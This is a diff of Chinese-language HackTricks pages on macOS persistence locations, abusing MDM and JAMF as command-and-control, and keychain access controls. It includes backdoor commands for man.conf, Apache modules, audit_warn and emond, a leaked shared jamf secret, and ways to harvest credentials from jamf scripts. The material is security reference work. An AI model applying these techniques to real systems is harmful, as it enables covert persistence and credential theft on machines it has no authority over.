```bash
|
||||
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
|
||||
```
|
||||
最后添加**规则**以加载此插件:
|
||||
最后添加加载此插件的**规则**:
|
||||
```bash
|
||||
cat > /tmp/rule.plist <<EOF
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
@ -1387,7 +1394,7 @@ security authorizationdb write com.asdf.asdf < /tmp/rule.plist
|
|||
```
|
||||
**`evaluate-mechanisms`** 会告诉授权框架需要**调用外部机制进行授权**。此外,**`privileged`** 会使其以 root 用户身份执行。
|
||||
|
||||
触发它:
|
||||
触发方式:
|
||||
```bash
|
||||
security authorize com.asdf.asdf
|
||||
```
|
||||
|
@ -1404,10 +1411,10 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.
|
|||
#### 位置
|
||||
|
||||
* **`/private/etc/man.conf`**
|
||||
* 需要Root权限
|
||||
* 需要root权限
|
||||
* **`/private/etc/man.conf`**:每当使用man时
|
||||
|
||||
#### 描述 & 攻击
|
||||
#### 描述和利用
|
||||
|
||||
配置文件**`/private/etc/man.conf`**指示打开man文档文件时要使用的二进制文件/脚本。因此,可修改可执行文件的路径,以便每当用户使用man阅读文档时,将执行后门。
|
||||
|
||||
|
@ -1427,7 +1434,7 @@ touch /tmp/manconf
|
|||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||
|
||||
* 有用于绕过沙盒的方法:[🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 有用于绕过沙盒:[🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 但需要 root 权限和 apache 需要在运行中
|
||||
* TCC 绕过:[🔴](https://emojipedia.org/large-red-circle)
|
||||
* Httpd 没有授权
|
||||
|
@ -1438,7 +1445,7 @@ touch /tmp/manconf
|
|||
* 需要 root 权限
|
||||
* 触发条件:当 Apache2 启动时
|
||||
|
||||
#### 描述 & 攻击
|
||||
#### 描述和利用
|
||||
|
||||
您可以在 `/etc/apache2/httpd.conf` 中指定加载一个模块,添加一行代码,例如:
|
||||
```bash
|
||||
|
@ -1468,7 +1475,7 @@ syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
|
|||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/)
|
||||
|
||||
* 有助于绕过沙盒: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 有用于绕过沙盒的方法: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 但需要root权限,auditd正在运行并引发警告
|
||||
* TCC绕过: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
|
@ -1487,15 +1494,18 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
|||
### 启动项
|
||||
|
||||
{% hint style="danger" %}
|
||||
**这已经被弃用,因此在这些目录中不应该找到任何内容。**
|
||||
**此功能已被弃用,因此这些目录中不应该找到任何内容。**
|
||||
{% endhint %}
|
||||
|
||||
**StartupItem** 是一个应该位于 `/Library/StartupItems/` 或 `/System/Library/StartupItems/` 中的目录。一旦建立了这个目录,它必须包含两个特定的文件:
|
||||
**StartupItem** 是一个目录,应该位于 `/Library/StartupItems/` 或 `/System/Library/StartupItems/` 中的一个。一旦建立了这个目录,它必须包含两个特定的文件:
|
||||
|
||||
1. 一个 **rc 脚本**:在启动时执行的 shell 脚本。
|
||||
2. 一个名为 `StartupParameters.plist` 的 **plist 文件**,其中包含各种配置设置。
|
||||
2. 一个 **plist 文件**,具体命名为 `StartupParameters.plist`,其中包含各种配置设置。
|
||||
|
||||
确保将 rc 脚本和 `StartupParameters.plist` 文件都正确放置在 **StartupItem** 目录中,以便启动过程识别并利用它们。
|
||||
确保将 rc 脚本和 `StartupParameters.plist` 文件都正确放置在 **StartupItem** 目录中,以便启动过程识别和利用它们。
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="StartupParameters.plist" %}
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -1514,7 +1524,18 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="超级服务名称" %}
|
||||
{% tab title="superservicename" %}
|
||||
|
||||
### 自动启动位置
|
||||
|
||||
macOS 中有多个位置存储自动启动项。以下是一些常见的自动启动位置:
|
||||
|
||||
- **登录项**:系统偏好设置 > 用户与群组 > 登录项
|
||||
- **启动代理**:`/Library/LaunchAgents` 和 `~/Library/LaunchAgents`
|
||||
- **启动守护进程**:`/Library/LaunchDaemons` 和 `~/Library/LaunchDaemons`
|
||||
- **启动项**:`/Library/StartupItems`(macOS 10.4 之前)
|
||||
|
||||
要查看和管理这些自动启动项,可以使用 `launchctl` 命令。
|
||||
```bash
|
||||
#!/bin/sh
|
||||
. /etc/rc.common
|
||||
|
@ -1544,7 +1565,7 @@ RunService "$1"
|
|||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||
|
||||
由 Apple 引入的 **emond** 是一种日志记录机制,似乎开发不完善或可能被放弃,但仍然可以访问。虽然对于 Mac 管理员来说并没有特别有益,但这种鲜为人知的服务可能作为威胁行为者的微妙持久性方法,很可能不会被大多数 macOS 管理员注意到。
|
||||
由 Apple 引入的 **emond** 是一个日志记录机制,似乎开发不足或可能被放弃,但仍然可以访问。虽然对于 Mac 管理员来说并不特别有益,但这个鲜为人知的服务可能作为威胁行为者的微妙持久性方法,很可能不会被大多数 macOS 管理员注意到。
|
||||
|
||||
对于知道其存在的人来说,识别 **emond** 的任何恶意使用是直截了当的。该服务的 LaunchDaemon 寻找要在单个目录中执行的脚本。要检查这一点,可以使用以下命令:
|
||||
```bash
|
||||
|
@ -1616,7 +1637,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.
|
|||
|
||||
#### 描述 & 利用
|
||||
|
||||
显然,运行此脚本并不是很常见,我甚至在我的 macOS 中找不到它,所以如果您想获取更多信息,请查看 writeup。
|
||||
显然,运行此脚本并不是很常见,我甚至在我的 macOS 中找不到它,所以如果您想了解更多信息,请查看 writeup。
|
||||
|
||||
### ~~/etc/rc.common~~
|
||||
|
||||
|
@ -1624,7 +1645,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.
|
|||
**在现代 MacOS 版本中不起作用**
|
||||
{% endhint %}
|
||||
|
||||
还可以在这里放置**将在启动时执行的命令。** 例如常规 rc.common 脚本:
|
||||
还可以在这里放置**将在启动时执行的命令**。例如常规 rc.common 脚本示例:
|
||||
```bash
|
||||
#
|
||||
# Common setup for startup scripts.
|
||||
|
@ -1722,16 +1743,17 @@ esac
|
|||
* [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift)
|
||||
* [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# macOS 红队
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 滥用 MDM
|
||||
|
||||
|
@ -21,7 +22,7 @@
|
|||
|
||||
如果您设法**获取管理员凭据**以访问管理平台,则可以通过在计算机上分发恶意软件来**潜在地危害所有计算机**。
|
||||
|
||||
在 macOS 环境中进行红队行动时,强烈建议了解 MDM 的工作原理:
|
||||
在 MacOS 环境中进行红队操作时,强烈建议了解 MDM 的工作原理:
|
||||
|
||||
{% content-ref url="macos-mdm/" %}
|
||||
[macos-mdm](macos-mdm/)
|
||||
|
@ -29,13 +30,13 @@
|
|||
|
||||
### 将 MDM 用作 C2
|
||||
|
||||
MDM 将获得安装、查询或删除配置文件的权限,安装应用程序,创建本地管理员帐户,设置固件密码,更改 FileVault 密钥...
|
||||
MDM 将获得安装、查询或删除配置文件的权限,安装应用程序,创建本地管理员帐户,设置固件密码,更改 FileVault 密钥等等。
|
||||
|
||||
要运行自己的 MDM,您需要**由供应商签署的 CSR**,您可以尝试使用 [**https://mdmcert.download/**](https://mdmcert.download/) 获取。要为 Apple 设备运行自己的 MDM,您可以使用 [**MicroMDM**](https://github.com/micromdm/micromdm)。
|
||||
|
||||
但是,要在已注册设备上安装应用程序,仍然需要由开发人员帐户签名... 但是,在 MDM 注册后,**设备将 MDM 的 SSL 证书添加为受信任的 CA**,因此现在您可以签署任何内容。
|
||||
但是,要在已注册设备上安装应用程序,仍然需要由开发人员帐户签署... 但是,在 MDM 注册后,**设备将 MDM 的 SSL 证书添加为受信任的 CA**,因此现在您可以签署任何内容。
|
||||
|
||||
要将设备注册到 MDM 中,您需要以 root 身份安装一个**`mobileconfig`** 文件,该文件可以通过 **pkg** 文件交付(您可以将其压缩为 zip 文件,从 Safari 下载时将被解压缩)。
|
||||
要将设备注册到 MDM,您需要以 root 身份安装一个**`mobileconfig`** 文件,该文件可以通过**pkg** 文件传送(您可以将其压缩为 zip,然后从 Safari 下载时将其解压缩)。
|
||||
|
||||
**Mythic 代理 Orthrus** 使用了这种技术。
|
||||
|
||||
|
@ -57,12 +58,12 @@ JAMF 可以运行**自定义脚本**(由系统管理员开发的脚本),**
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**`jamf`** 二进制文件包含打开钥匙串的秘密,在发现时,此秘密**被所有人共享**,即:**`jk23ucnq91jfu9aj`**。\
|
||||
此外,jamf 作为**LaunchDaemon** 持久存在于 **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
||||
**`jamf`** 二进制文件包含打开钥匙串的秘密,当时发现时**共享**给所有人,即:**`jk23ucnq91jfu9aj`**。\
|
||||
此外,jamf 作为**LaunchDaemon** 持久存在于**`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
||||
|
||||
#### JAMF 设备接管
|
||||
|
||||
**`jamf`** 将使用的 **JSS**(Jamf 软件服务器)**URL** 位于 **`/Library/Preferences/com.jamfsoftware.jamf.plist`**。\
|
||||
**`jamf`** 将使用的 JSS(Jamf 软件服务器)**URL**位于**`/Library/Preferences/com.jamfsoftware.jamf.plist`**。\
|
||||
该文件基本上包含 URL:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -80,7 +81,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
因此,攻击者可以放置一个恶意软件包 (`pkg`),在安装时**覆盖此文件**,将**URL设置为从 Typhon 代理到 Mythic C2 监听器**,从而能够滥用 JAMF 作为 C2。
|
||||
因此,攻击者可以放置一个恶意软件包 (`pkg`),在安装时覆盖这个文件,将 **URL 设置为从 Typhon 代理到 Mythic C2 监听器**,从而能够滥用 JAMF 作为 C2。
|
||||
```bash
|
||||
# After changing the URL you could wait for it to be reloaded or execute:
|
||||
sudo jamf policy -id 0
|
||||
|
@ -94,15 +95,15 @@ sudo jamf policy -id 0
|
|||
为了**冒充**设备与JMF之间的通信,您需要:
|
||||
|
||||
* 设备的**UUID**:`ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
* 来自以下位置的**JAMF钥匙链**:`/Library/Application\ Support/Jamf/JAMF.keychain`,其中包含设备证书
|
||||
* 来自`/Library/Application\ Support/Jamf/JAMF.keychain`的**JAMF钥匙链**,其中包含设备证书
|
||||
|
||||
有了这些信息,可以创建一个带有**窃取的**硬件**UUID**和**已禁用SIP**的VM,放置**JAMF钥匙链**,**挂钩**Jamf **代理**并窃取其信息。
|
||||
有了这些信息,可以创建一个带有**窃取的**硬件**UUID**和**SIP禁用**的虚拟机,放置**JAMF钥匙链**,**挂钩**Jamf**代理**并窃取其信息。
|
||||
|
||||
#### 泄露秘密
|
||||
#### 窃取秘密
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
|
||||
|
||||
您还可以监视位置`/Library/Application Support/Jamf/tmp/`,因为管理员可能希望通过Jamf执行的**自定义脚本**会被**放置在这里,执行并删除**。这些脚本**可能包含凭据**。
|
||||
您还可以监视位置`/Library/Application Support/Jamf/tmp/`,因为**管理员**可能希望通过Jamf执行**自定义脚本**,这些脚本会在此处**放置、执行和删除**。这些脚本**可能包含凭据**。
|
||||
|
||||
但是,**凭据**可能会作为**参数**传递给这些脚本,因此您需要监视`ps aux | grep -i jamf`(甚至不需要是root)。
|
||||
|
||||
|
@ -136,10 +137,10 @@ sudo jamf policy -id 0
|
|||
```bash
|
||||
dscl "/Active Directory/[Domain]/All Domains" ls /
|
||||
```
|
||||
此外,还有一些针对 macOS 准备的工具,可以自动枚举 AD 并与 kerberos 进行交互:
|
||||
此外,还有一些针对 MacOS 准备的工具,可以自动枚举 AD 并与 kerberos 进行交互:
|
||||
|
||||
- [**Machound**](https://github.com/XMCyber/MacHound):MacHound 是 Bloodhound 审计工具的扩展,允许在 macOS 主机上收集和摄入 Active Directory 关系。
|
||||
- [**Bifrost**](https://github.com/its-a-feature/bifrost):Bifrost 是一个 Objective-C 项目,旨在与 macOS 上的 Heimdal krb5 API 进行交互。该项目的目标是利用本机 API 在 macOS 设备上实现更好的关于 Kerberos 的安全测试,而无需在目标设备上安装任何其他框架或软件包。
|
||||
- [**Machound**](https://github.com/XMCyber/MacHound):MacHound 是 Bloodhound 审计工具的扩展,允许在 MacOS 主机上收集和摄入 Active Directory 关系。
|
||||
- [**Bifrost**](https://github.com/its-a-feature/bifrost):Bifrost 是一个 Objective-C 项目,旨在与 macOS 上的 Heimdal krb5 API 进行交互。该项目的目标是利用本机 API 在 macOS 设备上围绕 Kerberos 实现更好的安全测试,而无需在目标设备上安装任何其他框架或软件包。
|
||||
- [**Orchard**](https://github.com/its-a-feature/Orchard):JavaScript for Automation (JXA) 工具,用于进行 Active Directory 枚举。
|
||||
|
||||
### 域信息
|
||||
|
@ -155,7 +156,7 @@ MacOS 有三种类型的用户:
|
|||
- **移动用户** — 具有本地备份以保存其凭据和文件的 Active Directory 用户。
|
||||
|
||||
关于用户和组的本地信息存储在文件夹 _/var/db/dslocal/nodes/Default_ 中。\
|
||||
例如,名为 _mark_ 的用户的信息存储在 _/var/db/dslocal/nodes/Default/users/mark.plist_,组 _admin_ 的信息存储在 _/var/db/dslocal/nodes/Default/groups/admin.plist_。
|
||||
例如,名为 _mark_ 的用户的信息存储在 _/var/db/dslocal/nodes/Default/users/mark.plist_,组 _admin_ 的信息存储在 _/var/db/dslocal/nodes/Default/groups/admin.plist_ 中。
|
||||
|
||||
除了使用 HasSession 和 AdminTo 边缘外,**MacHound 还向 Bloodhound 数据库添加了三个新边缘**:
|
||||
|
||||
|
@ -187,7 +188,7 @@ dsconfigad -show
|
|||
|
||||
## 访问钥匙串
|
||||
|
||||
钥匙串很可能包含敏感信息,如果在不生成提示的情况下访问,可能有助于推进红队演练:
|
||||
钥匙串很可能包含敏感信息,如果在不生成提示的情况下访问,可能有助于推动红队演练的进行:
|
||||
|
||||
{% content-ref url="macos-keychain.md" %}
|
||||
[macos-keychain.md](macos-keychain.md)
|
||||
|
@ -195,13 +196,13 @@ dsconfigad -show
|
|||
|
||||
## 外部服务
|
||||
|
||||
MacOS红队行动与常规Windows红队行动不同,因为通常**MacOS直接集成了几个外部平台**。 MacOS的常见配置是使用**OneLogin同步凭据访问计算机,并通过OneLogin访问多个外部服务**(如github、aws...)。
|
||||
MacOS红队行动与常规Windows红队行动不同,通常**MacOS直接集成了几个外部平台**。 MacOS的常见配置是使用**OneLogin同步凭据访问计算机,并通过OneLogin访问多个外部服务**(如github、aws...)。
|
||||
|
||||
## 其他红队技术
|
||||
## 杂项红队技术
|
||||
|
||||
### Safari
|
||||
|
||||
在Safari中下载文件时,如果是“安全”文件,它将会**自动打开**。例如,如果你**下载一个zip文件**,它将会自动解压缩:
|
||||
在Safari中下载文件时,如果是一个“安全”文件,它将会**自动打开**。例如,如果你**下载一个zip文件**,它将会自动解压缩:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -212,3 +213,18 @@ MacOS红队行动与常规Windows红队行动不同,因为通常**MacOS直接
|
|||
* [**https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0**](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0)
|
||||
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
|
||||
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# macOS钥匙串
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
|
||||
[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**推动的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
|
||||
|
||||
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
|
||||
|
||||
|
@ -30,12 +31,12 @@ WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫
|
|||
|
||||
## 主要钥匙串
|
||||
|
||||
- **用户钥匙串**(`~/Library/Keychains/login.keycahin-db`),用于存储诸如应用程序密码、互联网密码、用户生成的证书、网络密码和用户生成的公钥/私钥等**特定于用户**的凭据。
|
||||
- **系统钥匙串**(`/Library/Keychains/System.keychain`),存储**系统范围**的凭据,如WiFi密码、系统根证书、系统私钥和系统应用程序密码。
|
||||
* **用户钥匙串**(`~/Library/Keychains/login.keycahin-db`),用于存储诸如应用程序密码、互联网密码、用户生成的证书、网络密码和用户生成的公钥/私钥等**特定于用户**的凭据。
|
||||
* **系统钥匙串**(`/Library/Keychains/System.keychain`),存储**系统范围**的凭据,如WiFi密码、系统根证书、系统私钥和系统应用程序密码。
|
||||
|
||||
### 密码钥匙串访问
|
||||
|
||||
这些文件虽然没有固有的保护,可以被**下载**,但是它们是加密的,需要**用户的明文密码才能解密**。可以使用类似[**Chainbreaker**](https://github.com/n0fate/chainbreaker)的工具进行解密。
|
||||
这些文件虽然没有固有的保护措施,可以被**下载**,但是它们是加密的,需要**用户的明文密码才能解密**。可以使用类似[**Chainbreaker**](https://github.com/n0fate/chainbreaker)的工具进行解密。
|
||||
|
||||
## 钥匙串条目保护
|
||||
|
||||
|
@ -43,39 +44,39 @@ WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫
|
|||
|
||||
钥匙串中的每个条目都受**访问控制列表(ACLs)**的管辖,ACLs规定了谁可以对钥匙串条目执行各种操作,包括:
|
||||
|
||||
- **ACLAuhtorizationExportClear**:允许持有者获取密钥的明文。
|
||||
- **ACLAuhtorizationExportWrapped**:允许持有者获取使用另一个提供的密码加密的明文。
|
||||
- **ACLAuhtorizationAny**:允许持有者执行任何操作。
|
||||
* **ACLAuhtorizationExportClear**:允许持有者获取密钥的明文。
|
||||
* **ACLAuhtorizationExportWrapped**:允许持有者获取使用另一个提供的密码加密的明文。
|
||||
* **ACLAuhtorizationAny**:允许持有者执行任何操作。
|
||||
|
||||
ACLs还伴随着一个**可信应用程序列表**,这些应用程序可以在不提示的情况下执行这些操作。这可能是:
|
||||
|
||||
- **N`il`**(无需授权,**每个人都受信任**)
|
||||
- 一个**空**列表(**没有人**受信任)
|
||||
- 特定**应用程序**的**列表**。
|
||||
* **N`il`**(无需授权,**每个人都受信任**)
|
||||
* 一个**空**列表(**没有人**受信任)
|
||||
* 特定**应用程序**的**列表**。
|
||||
|
||||
此外,条目可能包含**`ACLAuthorizationPartitionID`**密钥,用于识别**teamid、apple**和**cdhash**。
|
||||
|
||||
- 如果指定了**teamid**,则为了**无需提示地访问条目**值,使用的应用程序必须具有**相同的teamid**。
|
||||
- 如果指定了**apple**,则应用程序需要由**Apple**签名。
|
||||
- 如果指定了**cdhash**,则**应用程序**必须具有特定的**cdhash**。
|
||||
* 如果指定了**teamid**,则为了**无需提示地访问条目**值,使用的应用程序必须具有**相同的teamid**。
|
||||
* 如果指定了**apple**,则应用程序需要由**Apple**签名。
|
||||
* 如果指定了**cdhash**,则**应用程序**必须具有特定的**cdhash**。
|
||||
|
||||
### 创建钥匙串条目
|
||||
|
||||
使用**`Keychain Access.app`**创建**新**条目时,适用以下规则:
|
||||
当使用**`Keychain Access.app`**创建**新**的**条目**时,适用以下规则:
|
||||
|
||||
- 所有应用程序都可以加密。
|
||||
- **没有应用程序**可以导出/解密(无需提示用户)。
|
||||
- 所有应用程序都可以查看完整性检查。
|
||||
- 没有应用程序可以更改ACLs。
|
||||
- **partitionID**设置为**`apple`**。
|
||||
* 所有应用程序都可以加密。
|
||||
* **没有应用程序**可以导出/解密(无需提示用户)。
|
||||
* 所有应用程序都可以查看完整性检查。
|
||||
* 没有应用程序可以更改ACLs。
|
||||
* **partitionID**设置为**`apple`**。
|
||||
|
||||
当**应用程序在钥匙串中创建条目**时,规则略有不同:
|
||||
|
||||
- 所有应用程序都可以加密。
|
||||
- 只有**创建应用程序**(或明确添加的任何其他应用程序)可以导出/解密(无需提示用户)。
|
||||
- 所有应用程序都可以查看完整性检查。
|
||||
- 没有应用程序可以更改ACLs。
|
||||
- **partitionID**设置为**`teamid:[teamID here]`**。
|
||||
* 所有应用程序都可以加密。
|
||||
